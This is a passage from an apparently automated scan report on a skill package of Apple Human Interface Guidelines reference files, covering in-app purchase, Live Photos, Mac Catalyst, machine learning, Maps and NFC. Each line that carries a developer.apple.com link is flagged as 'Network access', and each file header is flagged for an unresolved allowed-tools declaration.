    **Supply an engaging and informative promotional image.** Creating this optional image can help people understand the value of your content. If you don’t supply a promotional image, the code redemption screens use your app icon by default. 
  • Network accessline 180
    ### [Helping people manage their subscriptions](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Helping-people-manage-their-subscriptions)
  • Network accessline 184
    ![A screenshot of an app’s subscription settings screen on iPhone. It includes the app name, subscription level, price, and next billing date, above buttons for Manage Subscription, Restore Purchase, and Redeem Code.](https://docs-assets.de
  • Network accessline 186
    **Provide summaries of the customer’s subscriptions.** In particular, people appreciate viewing the upcoming renewal date without having to search for it. Consider displaying this information in a settings or account screen, near the subscr
  • Network accessline 188
    **Consider using the system-provided subscription-management UI.** Using StoreKit APIs lets you present a consistent experience that helps people manage or cancel their subscriptions without leaving your app. For developer guidance, see [`s
  • Network accessline 190
    ![A screenshot of an app’s subscription management screen on iPhone. It includes the app name, subscription level, price, and next billing date, above a list of subscription options and a Cancel Subscription button.](https://docs-assets.dev
  • Network accessline 192
    ![A screenshot of an app’s subscription management screen on iPhone. An alert in the center of the screen asks for confirmation to cancel the subscription. The alert includes the text: Confirm Cancellation. If you confirm and cancel your su
  • Network accessline 196
    ![A screenshot of a resubscribe screen in the Math School app running on iPhone. The bottom half of the screen includes the label Resubscribe to Math School in large text, and the first of five pages which describe benefits of resubscribing
  • Network accessline 200
    **Consider creating a branded, contextual experience to complement the system-provided management UI.** Within your custom UI, you might offer a popular premium tier or provide personalized suggestions for alternative plans based on what yo
  • Network accessline 202
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Platform-considerations)
  • Network accessline 206
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#watchOS)
  • Network accessline 208
    The sign-up screen in your watchOS app needs to display the same set of information about your subscription options that you display in other versions of your app. For the complete list of required items, see [Making signup effortless](http
  • Network accessline 212
    ![A screenshot of an app running on Apple Watch. The screen includes text that reads: Intrepid Pro. Unlock 90,000 topographic maps, advanced GPS features, and offline access for trail guidance anywhere. A Close button appears in the top-lef
  • Network accessline 216
    ![A screenshot of an app running on Apple Watch. The screen includes text that reads: Intrepid Pro. Use advanced GPS features for trail guidance on Apple Watch. Unlock 90,000 topographic maps for use on iPhone and other devices. A Close but
  • Network accessline 231
    ![A screenshot of an app running on Apple Watch. The screen includes two subscription buttons: $4.99 per month and $29.99 per year. A Close button appears in the top-left corner of the screen.](https://docs-assets.developer.apple.com/publis
  • Network accessline 235
    ![A screenshot of an app running on Apple Watch. The screen includes a list of subscription options: $4.99 billed monthly and $29.99 billed yearly. The $29.99 option is selected. A $29.99 per year button appears at the bottom of the screen,
  • Network accessline 239
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Resources)
  • Network accessline 241
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Related)
  • Network accessline 243
    [In-App Purchase](https://developer.apple.com/in-app-purchase/)
  • Network accessline 245
    [Offering Subscriptions](https://developer.apple.com/app-store/subscriptions/)
  • Network accessline 247
    [App Review Guidelines](https://developer.apple.com/app-store/review/guidelines/)
  • Network accessline 249
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Developer-documentation)
  • Network accessline 251
    [In-App Purchase](https://developer.apple.com/documentation/StoreKit/in-app-purchase) — StoreKit
  • Network accessline 253
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Videos)
  • Network accessline 255
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/9F28A37E-92AA-46D7-8805-8A7CDE31F9E8/9154_wide_250x141_1x.jpg) What’s new in StoreKit and In-App Purchase ](https://developer.apple.com/videos/pl
  • Network accessline 257
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/in-app-purchase#Change-log)

skills/hig-technologies/references/live-photos.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Live Photos | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/live-photos
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/live-photos
  • Network accessline 9
    ![A sketch of the Live Photos icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/dc6a4a
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/live-photos#Best-practices)
  • Network accessline 29
    ![A nighttime photo of an alpine lake with a system-provided Live Photo badge with the text Live in the upper left corner.](https://docs-assets.developer.apple.com/published/a87d82a66bbb1352833d3bf3deb1e325/live-photo-badge-with-text%402x.p
  • Network accessline 31
    ![A nighttime photo of an alpine lake with a system-provided Live Photo badge without text in the upper left corner.](https://docs-assets.developer.apple.com/published/912dc316a86639661c2f1758145e55db/live-photo-badge%402x.png)
  • Network accessline 35
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/live-photos#Platform-considerations)
  • Network accessline 39
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/live-photos#visionOS)
  • Network accessline 43
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/live-photos#Resources)
  • Network accessline 45
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/live-photos#Developer-documentation)
  • Network accessline 47
    [`PHLivePhoto`](https://developer.apple.com/documentation/Photos/PHLivePhoto) — PhotoKit
  • Network accessline 49
    [LivePhotosKit JS](https://developer.apple.com/documentation/LivePhotosKitJS) — LivePhotosKit JS
  • Network accessline 51
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/live-photos#Videos)
  • Network accessline 53
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/80B5C413-F0CF-44C1-9EE1-7BBC8C8978F0/4937_wide_250x141_1x.jpg) What’s new in camera capture ](https://developer.apple.com/videos/play/wwdc2021/10047)

skills/hig-technologies/references/mac-catalyst.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Mac Catalyst | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/mac-catalyst
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/mac-catalyst
  • Network accessline 9
    ![A sketch of an iPad overlapping a Mac, suggesting an iPad app running on Mac. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs
  • Network accessline 11
    ## [Before you start](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Before-you-start)
  • Network accessline 61
    To learn more about the characteristics that distinguish the Mac experience, see [Designing for macOS](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos). For developer guidance, see [Mac Catalyst](https://de
  • Network accessline 65
    To discover how views and controls can change when you create a Mac app using Mac Catalyst, download [UIKit Catalog: Creating and customizing views and controls](https://developer.apple.com/documentation/UIKit/uikit-catalog-creating-and-cus
  • Network accessline 67
    ## [Choose an idiom](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Choose-an-idiom)
  • Network accessline 86
    ![Zoomed icon for the California Academy of Sciences point-of-interest in Maps to show how the system renders it with less details if you choose the iPad idiom.](https://docs-assets.developer.apple.com/published/584dcc4acfee462c4e401bf375ef
  • Network accessline 88
    ![Zoomed icon for the California Academy of Sciences point-of-interest in Maps to show how the system renders it with more details if you choose the Mac idiom.](https://docs-assets.developer.apple.com/published/7467ee8fcd5eae619d2fc538dc731
  • Network accessline 92
    When you adopt the Mac idiom, the unscaled views and interface elements report different metrics, often resulting in a significant amount of additional work. To reduce the amount of work, avoid using fixed font, view, or layout sizes. For d
  • Network accessline 96
    ## [Integrate the Mac experience](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Integrate-the-Mac-experience)
  • Network accessline 102
    ### [Navigation](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Navigation)
  • Network accessline 108
    * [Split views](https://developer.apple.com/design/human-interface-guidelines/split-views). A split view supports hierarchical navigation, which consists of a two- or three-column interface that shows a primary column, an optional supplemen
  • Network accessline 110
    * [Tab bars](https://developer.apple.com/design/human-interface-guidelines/tab-bars). A tab bar supports flat navigation by displaying top-level categories in a persistent bar at the bottom of the screen.
  • Network accessline 112
    * [Page controls](https://developer.apple.com/design/human-interface-guidelines/page-controls). A page control displays dots at the bottom of the screen that indicate the position of the current page in a flat list of pages.
  • Network accessline 130
    ### [Inputs](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Inputs)
  • Network accessline 154
    ### [App icons](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#App-icons)
  • Network accessline 158
    ### [Layout](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Layout)
  • Network accessline 177
    ### [Menus](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Menus)
  • Network accessline 183
    To support keyboard shortcuts for menu commands, use [`UIKeyCommand`](https://developer.apple.com/documentation/UIKit/UIKeyCommand). For developer guidance, see [Adding menus and shortcuts to the menu bar and user interface](https://develop
  • Network accessline 185
    If you provide [pop-up buttons](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons) or [pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons) that reveal a menu in your
  • Network accessline 189
    To add and remove custom app menus, use [`UIMenuBuilder`](https://developer.apple.com/documentation/UIKit/UIMenuBuilder) and add menu items that represent your iPad app’s commands as menu items with [`UICommand`](https://developer.apple.com
  • Network accessline 193
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Platform-considerations)
  • Network accessline 197
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Resources)
  • Network accessline 199
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Related)
  • Network accessline 201
    [Designing for macOS](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos)
  • Network accessline 203
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Developer-documentation)
  • Network accessline 205
    [Mac Catalyst](https://developer.apple.com/documentation/UIKit/mac-catalyst) — UIKit
  • Network accessline 207
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Videos)
  • Network accessline 209
    [![](https://devimages-cdn.apple.com/wwdc-services/images/48/C0F7535C-FB17-48D8-8530-F959A9471DCE/3273_wide_250x141_1x.jpg) Designing iPad Apps for Mac ](https://developer.apple.com/videos/play/wwdc2019/809)
  • Network accessline 211
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/mac-catalyst#Change-log)

skills/hig-technologies/references/machine-learning.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Machine learning | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/machine-learning
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/machine-learning
  • Network accessline 9
    ![A sketch of sparkly stars, suggesting intelligence. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.co
  • Network accessline 13
    For related guidance on how to use machine learning models to enable intelligent content creation experiences, see [Generative AI](https://developer.apple.com/design/human-interface-guidelines/generative-ai).
  • Network accessline 15
    ## [Planning your design](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Planning-your-design)
  • Network accessline 17
    Machine learning apps use _models_ to perform tasks like recognizing images or finding relationships among numerical data. A great machine learning app depends on well-designed models as much as it depends on a well-designed UI and user exp
  • Network accessline 23
    To help you meet this challenge, first consider the role that machine learning plays in your app. Defining the [role](https://developer.apple.com/design/human-interface-guidelines/machine-learning#The-role-of-machine-learning-in-your-app) o
  • Network accessline 27
    ## [The role of machine learning in your app](https://developer.apple.com/design/human-interface-guidelines/machine-learning#The-role-of-machine-learning-in-your-app)
  • Network accessline 31
    ### [Critical or complementary](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Critical-or-complementary)
  • Network accessline 44
    ### [Private or public](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Private-or-public)
  • Network accessline 57
    ### [Proactive or reactive](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Proactive-or-reactive)
  • Network accessline 70
    ### [Visible or invisible](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Visible-or-invisible)
  • Network accessline 78
    ### [Dynamic or static](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Dynamic-or-static)
  • Network accessline 89
    In addition to the frequency of app updates, static or dynamic improvements can affect other parts of the user experience, too. For example, dynamic features often incorporate forms of [calibration](https://developer.apple.com/design/human-
  • Network accessline 91
    ## [Explicit feedback](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Explicit-feedback)
  • Network accessline 93
    Explicit feedback provides actionable information your app can use to improve the content and experience it presents to people. Unlike [implicit feedback](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Implic
  • Network accessline 95
    ![An illustration of a menu above a screen representing presented content on iPhone. The menu includes a variety of options for interacting with the content on screen, including an option to 'Love' the presented content, and an option to 'S
  • Network accessline 116
    **Consider offering multiple options when requesting explicit feedback.** Providing [multiple options](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Multiple-options) can give people a sense of control and h
  • Network accessline 122
    ## [Implicit feedback](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Implicit-feedback)
  • Network accessline 124
    Implicit feedback is information that arises as people interact with your app’s features. Unlike the specific responses you get from [explicit feedback](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Explicit
  • Network accessline 126
    ![A screenshot of a Workout app screen on Apple Watch. The screen includes text that reads 'It looks like you're working out', above buttons in a scrolling list. The two visible buttons are titled 'Record Outdoor Run' and 'Record Indoor Run
  • Network accessline 146
    ## [Calibration](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Calibration)
  • Network accessline 150
    ![A screenshot of the Face ID setup screen on iPhone. A face appears inside the circular frame and tick marks around the frame show that a face scan hasn't begun yet. Text below the frame explains how to perform a scan, and appears above a 
  • Network accessline 152
    In general, only use calibration when your feature can’t function without that initial information. If your feature can work without calibration, consider using other ways to gather the information you need, such as [implicit feedback](http
  • Network accessline 183
    ## [Corrections](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Corrections)
  • Network accessline 187
    ![A screenshot of the Camera app on iPhone showing a photo of a flower in editing mode. The crop and straighten function is selected, revealing grab bars on all edges of the photo. The tilt wheel button below the photo shows that someone ch
  • Network accessline 199
    **Learn from corrections when it makes sense.** A correction is a type of [implicit feedback](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Implicit-feedback) that can give you valuable information about way
  • Network accessline 203
    ## [Mistakes](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Mistakes)
  • Network accessline 218
    * [Limitations](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Limitations) help you set people’s expectations about the accuracy of your suggestions.
  • Network accessline 220
    * [Corrections](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Corrections) give people a way to be successful even when your results are wrong.
  • Network accessline 222
    * [Attribution](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Attribution) gives people insight into where suggestions come from, which can help them understand mistakes.
  • Network accessline 224
    * [Confidence](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Confidence) helps you gauge the quality of your results, which can impact how you present them.
  • Network accessline 226
    * Feedback — both [explicit](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Explicit-feedback) and [implicit](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Implicit-feedback) 
  • Network accessline 243
    ## [Multiple options](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Multiple-options)
  • Network accessline 247
    ![A screenshot of the Maps app on Mac, displaying the San Francisco Bay Area. The map shows three different routes between San Francisco and Apple Park.](https://docs-assets.developer.apple.com/published/0daed168f6ffe2e94d93384a6eb01537/mac
  • Network accessline 264
    **List the most likely option first.** When you know how your [confidence](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Confidence) values correlate with the quality of your results, you might use them to r
  • Network accessline 268
    **Learn from selections when it makes sense.** People give you [implicit feedback](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Implicit-feedback) every time they make a selection. When it doesn’t adversely
  • Network accessline 270
    ## [Confidence](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Confidence)
  • Network accessline 274
    ![A screenshot of a flight tracker app on iPhone. The screen displays a flight from SFO to LAX from June 3rd through June 7th. The screen shows the current lowest flight cost with a recommendation to watch over the next four weeks for a low
  • Network accessline 278
    **Know what your confidence values mean before you decide how to present them.** For example, people may forgive low-quality results from [critical or complementary](https://developer.apple.com/design/human-interface-guidelines/machine-lear
  • Network accessline 292
    ## [Attribution](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Attribution)
  • Network accessline 296
    ![An illustration of a screen on iPhone, which shows an area that contains recommended videos. The area is labeled 'For You' and includes a row of two video icons. A third video icon is partially visible on the right side of the screen, hin
  • Network accessline 302
    * Minimize the impact of [mistakes](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Mistakes)
  • Network accessline 311
    **Consider using attributions to help people distinguish among results.** For example, if you present a set of results as [multiple options](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Multiple-options), i
  • Network accessline 319
    ## [Limitations](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Limitations)
  • Network accessline 343
    ![A screenshot of the Memoji recording sheet on iPhone. The app shows a person's Memoji, above a message that reads 'Low light', which helps convey that additional light is required for a high-quality recording.](https://docs-assets.develop
  • Network accessline 345
    **Help people establish realistic expectations.** When a limitation may have a serious effect on user experience but happens rarely, consider making people aware of the limitation before they use your app or feature. You might describe the 
  • Network accessline 362
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Platform-considerations)
  • Network accessline 366
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Resources)
  • Network accessline 368
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Related)
  • Network accessline 370
    [Generative AI](https://developer.apple.com/design/human-interface-guidelines/generative-ai)
  • Network accessline 372
    [Privacy](https://developer.apple.com/design/human-interface-guidelines/privacy)
  • Network accessline 374
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Developer-documentation)
  • Network accessline 376
    [Apple Intelligence and machine learning](https://developer.apple.com/documentation/TechnologyOverviews/ai-machine-learning)
  • Network accessline 378
    [Create ML](https://developer.apple.com/documentation/CreateML)
  • Network accessline 380
    [Core ML](https://developer.apple.com/documentation/CoreML)
  • Network accessline 382
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Videos)
  • Network accessline 384
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/6F92E66E-52A5-4289-9F76-A3E6983F9250/10049_wide_250x141_1x.jpg) Explore prompt design & safety for on-device foundation models ](https://develope
  • Network accessline 386
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/51620FBA-75C7-46B5-BCBA-800F38AEE3A5/10048_wide_250x141_1x.jpg) Discover machine learning & AI frameworks on Apple platforms ](https://developer.
  • Network accessline 388
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/machine-learning#Change-log)

skills/hig-technologies/references/maps.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Maps | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/maps
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/maps
  • Network accessline 9
    ![A sketch of a tri-fold map, suggesting navigation. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/maps#Best-practices)
  • Network accessline 26
    ![A screenshot of a map on iPhone showing Coit Tower with the default emphasis style.](https://docs-assets.developer.apple.com/published/603ad0c458f464ad072a94aa10ee89bb/maps-default-appearance%402x.png)
  • Network accessline 30
    ![A screenshot of a map on iPhone showing Coit Tower with desaturated colors, representing the muted emphasis style.](https://docs-assets.developer.apple.com/published/31d94cbb32ab028e061cfff44b8e7c6a/maps-muted-appearance%402x.png)
  • Network accessline 34
    For developer guidance, see [`MKStandardMapConfiguration.EmphasisStyle`](https://developer.apple.com/documentation/MapKit/MKStandardMapConfiguration/EmphasisStyle-swift.enum).
  • Network accessline 42
    ![A screenshot of a single pin with the number three, representing a cluster of three points of interest that are within close proximity.](https://docs-assets.developer.apple.com/published/26a4541efb07044a1fa8f7a06cd0551c/maps-points-of-int
  • Network accessline 44
    ![A screenshot of three orange pins when zoomed in, representing three individual points of interest.](https://docs-assets.developer.apple.com/published/bb8de6a531cbd567d480addff18221ee/maps-points-of-interest-individual%402x.png)Individual
  • Network accessline 61
    ## [Custom information](https://developer.apple.com/design/human-interface-guidelines/maps#Custom-information)
  • Network accessline 63
    **Use annotations that match the visual style of your app.** Annotations identify custom points of interest on your map. The default annotation marker has a red tint and a white pin icon. You can change the tint to match the color scheme of
  • Network accessline 65
    **If you want to display custom information that’s related to standard map features, consider making them independently selectable.** When you support selectable map features, the system treats Apple-provided features (including points of i
  • Network accessline 76
    For developer guidance, see [Displaying overlays on a map](https://developer.apple.com/documentation/MapKit/displaying-overlays-on-a-map) and [`MKOverlayLevel`](https://developer.apple.com/documentation/MapKit/MKOverlayLevel).
  • Network accessline 80
    ## [Place cards](https://developer.apple.com/design/human-interface-guidelines/maps#Place-cards)
  • Network accessline 84
    ### [Displaying place cards in a map](https://developer.apple.com/design/human-interface-guidelines/maps#Displaying-place-cards-in-a-map)
  • Network accessline 86
    You can present a place card that appears directly in your map anytime someone selects a place. This is a great way to provide place information in a map with multiple places that you specify, like a map of bookstores that an author plans t
  • Network accessline 88
    You can also display place cards for other places on a map, such as points of interest, territories, and physical features, to provide valuable context to people about nearby places. For developer guidance, see [`mapFeatureSelectionAccessor
  • Network accessline 92
    In websites, you can embed a custom map that displays a place card by default for a single place that you specify. For developer guidance, see [Displaying place information using the Maps Embed API](https://developer.apple.com/documentation
  • Network accessline 102
    * The _sheet_ style displays a place card in a [sheet](https://developer.apple.com/design/human-interface-guidelines/sheets).
  • Network accessline 107
    For developer guidance, see [`MapItemDetailSelectionAccessoryStyle`](https://developer.apple.com/documentation/MapKit/MapItemDetailSelectionAccessoryStyle), [`MKSelectionAccessory.MapItemDetailPresentationStyle`](https://developer.apple.com
  • Network accessline 116
    ![A screenshot of the full callout style place card in a map on iPad. The top of the place card contains a header image and the place name, category, and rating. The place card also includes a tile with operating hours; a tile with the webs
  • Network accessline 118
    ![A screenshot of the compact callout style place card in a map on iPad. The place card includes the place name, category, shortened address, rating, and 'Open in Apple Maps' link.](https://docs-assets.developer.apple.com/published/ad7dc822
  • Network accessline 120
    ![A screenshot of the caption style place card in a map on iPad. The place card contains an 'Open in Apple Maps' link.](https://docs-assets.developer.apple.com/published/f200b2f25897fefc55d30b6c5b6258c5/maps-place-card-ipad-link%402x.png)
  • Network accessline 122
    ![A screenshot of the sheet style place card in a map on iPad, which appears on top of the map view. The top of the place card contains a header image and the place name, category, and rating. The place card also includes a tile with operat
  • Network accessline 124
    Full callout style place cards appear differently depending on a person’s device. The system presents the full callout style place card in a popover style in iPadOS and macOS, and as a [sheet](https://developer.apple.com/design/human-interf
  • Network accessline 126
    ![A screenshot of the full callout style place card in a map on iPhone. The place card appears as a sheet from the bottom edge of the device.](https://docs-assets.developer.apple.com/published/6499250814a43a161484e99968aa503c/maps-place-car
  • Network accessline 134
    **Keep the location on your map visible when displaying a place card.** This helps people maintain a sense of where the location is on your map while getting detailed place information. You can set an offset distance for your place card and
  • Network accessline 136
    ### [Adding place cards outside of a map](https://developer.apple.com/design/human-interface-guidelines/maps#Adding-place-cards-outside-of-a-map)
  • Network accessline 138
    You can also display place information outside of a map in your app or website. For example, you might want to display a list of places rather than a map, like in search results or a store locator, and present a place card when people selec
  • Network accessline 142
    If you don’t display a place card directly within a map view, you must include a map in the place card. For developer guidance, see [`mapItemDetailSheet(item:displaysMap:)`](https://developer.apple.com/documentation/SwiftUI/View/mapItemDeta
  • Network accessline 146
    ## [Indoor maps](https://developer.apple.com/design/human-interface-guidelines/maps#Indoor-maps)
  • Network accessline 156
    ![A screenshot of a map on iPhone, displaying the San Jose International airport and the surrounding area. A card in the bottom half of the screen displays information and options, including the airport name and buttons for sharing, closing
  • Network accessline 158
    ![A screenshot of a map on iPhone, displaying Terminal B at the San Jose International airport. Gate numbers are displayed above the terminal on the map. A minimized card containing information and options for the airport is visible at the 
  • Network accessline 160
    ![A screenshot of a map on iPhone, displaying a close-up view of a terminal at the San Jose International airport. A security checkpoint, first aid stations, restrooms, an escalator, and a gate number are displayed on the map. A minimized c
  • Network accessline 164
    ![A screenshot of a map on iPhone, zoomed in to show the location of an elevator in San Jose International airport. A minimized card containing information about the elevator is visible at the bottom of the screen.](https://docs-assets.deve
  • Network accessline 172
    ![A screenshot of a map on iPhone, zoomed in to show the numbers and locations of some gates in a terminal at San Jose International airport. Other areas, including parking structures, are displayed without details. A minimized card contain
  • Network accessline 178
    **Design an indoor map that feels like a natural extension of your app.** Don’t try to replicate the appearance of Apple Maps. Instead, make sure area overlays, icons, and text match the visual style of your app. For guidance, see [Indoor M
  • Network accessline 180
    ![A screenshot of a custom map in an app on iPhone, showing an airport concourse. Elements of the map are tinted green to correspond with the app's UI, and custom icons represent gates, security checkpoints, and an information booth.](https
  • Network accessline 182
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/maps#Platform-considerations)
  • Network accessline 186
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/maps#watchOS)
  • Network accessline 188
    On Apple Watch, maps are static snapshots of geographic locations. Place a map in your interface at design time and show the appropriate region at runtime. The displayed region isn’t interactive; tapping it opens the Maps app on Apple Watch
  • Network accessline 190
    ![A screenshot of a map on Apple Watch, displaying Apple Park and some of the surrounding area.](https://docs-assets.developer.apple.com/published/befea7e8b96bc123bfef582ba3857d64/maps-watch1%402x.png)
  • Network accessline 196
    For developer guidance, see [`WKInterfaceMap`](https://developer.apple.com/documentation/WatchKit/WKInterfaceMap).
  • Network accessline 198
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/maps#Resources)
  • Network accessline 200
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/maps#Developer-documentation)
  • Network accessline 202
    [MapKit](https://developer.apple.com/documentation/MapKit)
  • Network accessline 204
    [MapKit JS](https://developer.apple.com/documentation/MapKitJS)
  • Network accessline 206
    [Indoor Mapping Data Format](https://register.apple.com/resources/imdf/)
  • Network accessline 208
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/maps#Videos)
  • Network accessline 210
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/33B45785-076C-43F4-85FC-8D11F70E7A57/9878_wide_250x141_1x.jpg) Go further with MapKit ](https://developer.apple.com/videos/play/wwdc2025/204)
  • Network accessline 212
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/04977BF3-7B89-4A9E-AE42-79BD268F4684/9212_wide_250x141_1x.jpg) Unlock the power of places with MapKit ](https://developer.apple.com/videos/play/w
  • Network accessline 214
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/maps#Change-log)

skills/hig-technologies/references/nfc.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "NFC | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/nfc
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/nfc
  • Network accessline 9
    ![A sketch of progressively larger curved lines extending toward the right, suggesting near-field communication. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original si
  • Network accessline 13
    ## [In-app tag reading](https://developer.apple.com/design/human-interface-guidelines/nfc#In-app-tag-reading)
  • Network accessline 17
    ![An illustration of a scanning sheet on iPhone, which includes the text Ready to Scan and Hold your device near the NFC tag, and a Cancel button.](https://docs-assets.developer.apple.com/published/588da10ebfa2ce6ed48d0ebdd9507735/nfc-ready
  • Network accessline 34
    ## [Background tag reading](https://developer.apple.com/design/human-interface-guidelines/nfc#Background-tag-reading)
  • Network accessline 38
    ![An illustration of a notification banner above the Home screen on iPhone, which offers an opportunity to open a specific app to process NFC tag data detected nearby.](https://docs-assets.developer.apple.com/published/f42e796e585f504e450d1
  • Network accessline 42
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/nfc#Platform-considerations)
  • Network accessline 46
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/nfc#Resources)
  • Network accessline 48
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/nfc#Developer-documentation)
  • Network accessline 50
    [Core NFC](https://developer.apple.com/documentation/CoreNFC)

skills/hig-technologies/references/photo-editing.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Photo editing | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/photo-editing
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/photo-editing
  • Network accessline 9
    ![A sketch of crop marks surrounded by two arrows, suggesting photo editing. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-as
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/photo-editing#Best-practices)
  • Network accessline 25
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/photo-editing#Platform-considerations)
  • Network accessline 29
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/photo-editing#Resources)
  • Network accessline 31
